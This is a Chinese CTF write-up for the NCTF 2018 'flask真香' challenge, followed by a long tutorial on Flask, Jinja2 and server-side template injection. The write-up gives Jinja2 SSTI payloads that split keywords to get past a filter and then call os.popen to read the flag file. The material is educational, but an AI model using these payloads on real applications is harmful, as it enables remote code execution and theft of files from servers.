题目解答
开启环境,进入

随便点击一个,我点击的是第二个,跳转

随便传参数进去尝试一下


这里需要爆破被过滤的关键词,但本人技术有限没有爆破出来,就借鉴了别人的爆破结果,相关博客会放到后面

开始尝试传入
php
{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

查询os,找到它初步所在位置

再通过>查询具体所在位置

这里位置可能会有变动,以实际为准,我这里是73
再次传入参数
php
{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[72].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}
得到结果

学习知识
这题本质上是Flask 框架下的 Jinja2 服务器端模板注入
具体解释
零基础解释
- 一、什么是 Flask?------ 搭网站的 "简易框架"
想象你想自己盖一个小房子:
你需要准备地基、墙壁、屋顶这些 "基础结构",还得考虑门窗怎么装、水电怎么接。
如果你不想从零开始搬砖、和水泥(太麻烦),可以买一套 "预制框架"------ 框架已经做好了地基、墙壁的基本结构,你只需要往里面填家具、刷油漆就行。
Flask 就是搭建网站的 "预制框架"。
它是用 Python 语言写的一个工具,帮你做好了网站运行的基础工作(比如接收用户的访问请求、处理数据、返回网页内容等)。你不需要自己写复杂的底层代码,只需要专注于 "网站显示什么内容""用户点击按钮后做什么"。
比如:你想做一个 "个人主页",用 Flask 只需要写几行代码,就能让别人通过浏览器访问你的页面,比从零开始写网站简单 10 倍。
- 二、什么是 Jinja2?------ 网页的 "填空题模板"
还是用 "盖房子" 的例子:
假设你盖的是公寓楼,每间房的结构都一样(都是 1 卧室 1 客厅),只是里面的家具、住户名字不同。
你可以先画一个 "通用图纸"(比如 "卧室放床,客厅放沙发"),然后给每间房填不同的家具品牌、住户姓名 ------ 这个 "通用图纸" 就是 "模板"。
Jinja2 就是 Flask 自带的 "模板工具",专门处理网页的 "通用模板"。
网页里经常有很多重复内容(比如导航栏、页脚),只有部分内容需要根据用户变化(比如 "欢迎你,张三""欢迎你,李四")。Jinja2 能帮你:
先写一个 "网页模板",把固定内容(导航栏、页脚)写死,把可变内容用 "占位符" 表示(比如 {{ 用户名 }})。
当用户访问时,Jinja2 会自动把 "占位符" 替换成实际内容(比如把 {{ 用户名 }} 换成 "张三"),生成最终显示的网页。
举个例子:
模板内容可能是:"你好,{{ name }}!今天是 {{ date }}"当用户访问时,Jinja2 会把 name 换成 "小明",date 换成 "2025 年12月3日",最终显示:"你好,小明!今天是2025年12月3日"。
- 三、什么是 SSTI?------ 模板被 "恶意填空" 的漏洞
继续用 "填空题" 类比:
老师出了一道填空题:"我的名字是______,今年______岁",让学生填自己的信息。
正常情况下,学生应该填 "张三""18",但如果有个调皮的学生填了 "{{ 2+2 }}"(注意这个格式和 Jinja2 的占位符一样),而老师又 "傻乎乎地" 把这个填空当成数学题算了一遍,结果显示 "我的名字是 4,今年 4 岁"------ 这就出问题了。
SSTI(服务器端模板注入)就是这样的漏洞:
当网站用 Jinja2 处理模板时,如果开发者 "偷懒",直接把用户输入的内容(比如用户在输入框里填的文字)当成 "模板的一部分" 交给 Jinja2 处理,而不是当成 "普通文字" 填空,就会出问题。
比如:
开发者写的代码是:"你好, + 用户输入的内容 + !"(错误写法)
如果用户输入 {{ 2*3 }},Jinja2 会把它当成模板代码执行,结果显示 "你好,6!"------ 这说明用户输入的内容被当成代码执行了。
更危险的是,攻击者可以输入更复杂的代码,比如 "读取网站的秘密文件""获取管理员密码",这就是 SSTI 漏洞的危害。
比较正式规范的解释
一、Flask
定义:Flask 是一个基于 Python 的轻量级 Web 应用框架(微框架,Micro Framework),由 Armin Ronacher 于 2010 年开发,遵循 BSD 开源协议。它旨在提供简单、灵活的核心功能,同时允许开发者通过扩展按需增强功能,适用于快速开发中小型 Web 应用或 API。
核心特性与功能:
路由系统:通过装饰器(如@app.route('/path'))将 URL 路径与 Python 函数绑定,实现 "访问特定 URL 时执行对应函数" 的逻辑,简化请求分发。
请求与响应处理:封装 HTTP 请求(如request对象获取用户输入、请求头)和响应(如return直接返回字符串、render_template返回渲染后的模板),屏蔽底层 HTTP 协议细节。
模板引擎接口:默认集成 Jinja2 作为模板引擎,支持动态 HTML 生成;也可替换为其他模板引擎(如 Mako)。
轻量与灵活:仅包含 Web 开发的核心功能(路由、模板渲染、请求处理等),无强制依赖(如数据库 ORM 需通过扩展Flask-SQLAlchemy实现),开发者可自由选择工具链。
扩展生态:通过丰富的第三方扩展(如Flask-Login处理用户认证、Flask-WTF处理表单)支持复杂场景,保持核心框架简洁。
二、Jinja2
定义:Jinja2 是一个基于 Python 的现代模板引擎,由 Flask 作者 Armin Ronacher 开发,设计目标是提供强大的动态内容生成能力,同时保持模板的可读性和可维护性。它是 Flask 的默认模板引擎,也被广泛用于其他 Python Web 框架(如 Django 可集成 Jinja2)。
核心功能与特性:
动态内容渲染:通过 "模板 + 数据" 的模式生成动态文本(如 HTML、XML)。模板中通过{{ 变量 }}标记占位符,运行时由引擎替换为实际数据。
控制结构:支持条件判断({% if 条件 %})、循环({% for 元素 in 列表 %})等逻辑,允许模板根据数据动态调整结构(如 "用户登录时显示欢迎语,未登录时显示登录按钮")。
过滤器与函数:提供内置过滤器(如{{ name|upper }}将字符串转为大写)和自定义函数,用于对数据进行格式化处理。
模板继承与复用:支持{% extends %}(继承父模板)和{% block %}(定义可替换的内容块),减少重复代码(如多个页面共用导航栏和页脚)。
安全特性:默认对变量进行 HTML 转义(如将<script>转为<script>),防止 XSS 攻击(跨站脚本),但需开发者正确使用以避免绕过。
与 Flask 的关系:
Flask 通过render_template函数调用 Jinja2,将模板文件与视图函数中的数据结合,生成最终返回给浏览器的 HTML 内容。
三、SSTI(服务器端模板注入)
定义:SSTI 是一种因 Web 应用对用户输入过滤不当,导致恶意代码被嵌入到服务器端模板中并执行的安全漏洞。当模板引擎将用户输入作为 "模板代码" 而非 "纯文本" 解析时,攻击者可通过注入恶意模板语法,实现信息泄露、远程代码执行等攻击。
成因与原理:
模板引擎的核心是 "解析模板语法并执行逻辑",若开发者直接将用户输入拼接进模板字符串(而非作为 "数据变量" 传递),则用户输入会被引擎当作模板代码执行。
危害:
信息泄露:读取服务器配置(如 Flask 的config对象包含密钥、Flag 等)、系统文件(如/etc/passwd)。
远程代码执行:通过模板语法调用系统命令(如os.popen('ls').read()),控制服务器。
权限提升:若服务器以高权限运行,攻击者可进一步获取整个系统的控制权。
-
三者关系总结
Flask是 Web 框架,提供 Web 应用的核心运行环境(路由、请求处理等);
Jinja2是 Flask 默认的模板引擎,负责将模板与数据结合生成动态内容;
SSTI是因 Flask 应用中 Jinja2 使用不当(用户输入未过滤直接嵌入模板)导致的安全漏洞,本质是 "恶意模板代码被服务器执行"。
参考博客
图片来自下面这篇博客
[NCTF 2018]flask真香
Flask与SSTI相关知识
Flask-SSTI限制长度绕过
SSTI模板注入Plus | Bypass
详解Flask SSTI 利用与绕过技巧V2
SSTI漏洞利用及绕过总结(绕过姿势多样)
SSTI漏洞浅析(常见模板注入、waf绕过)



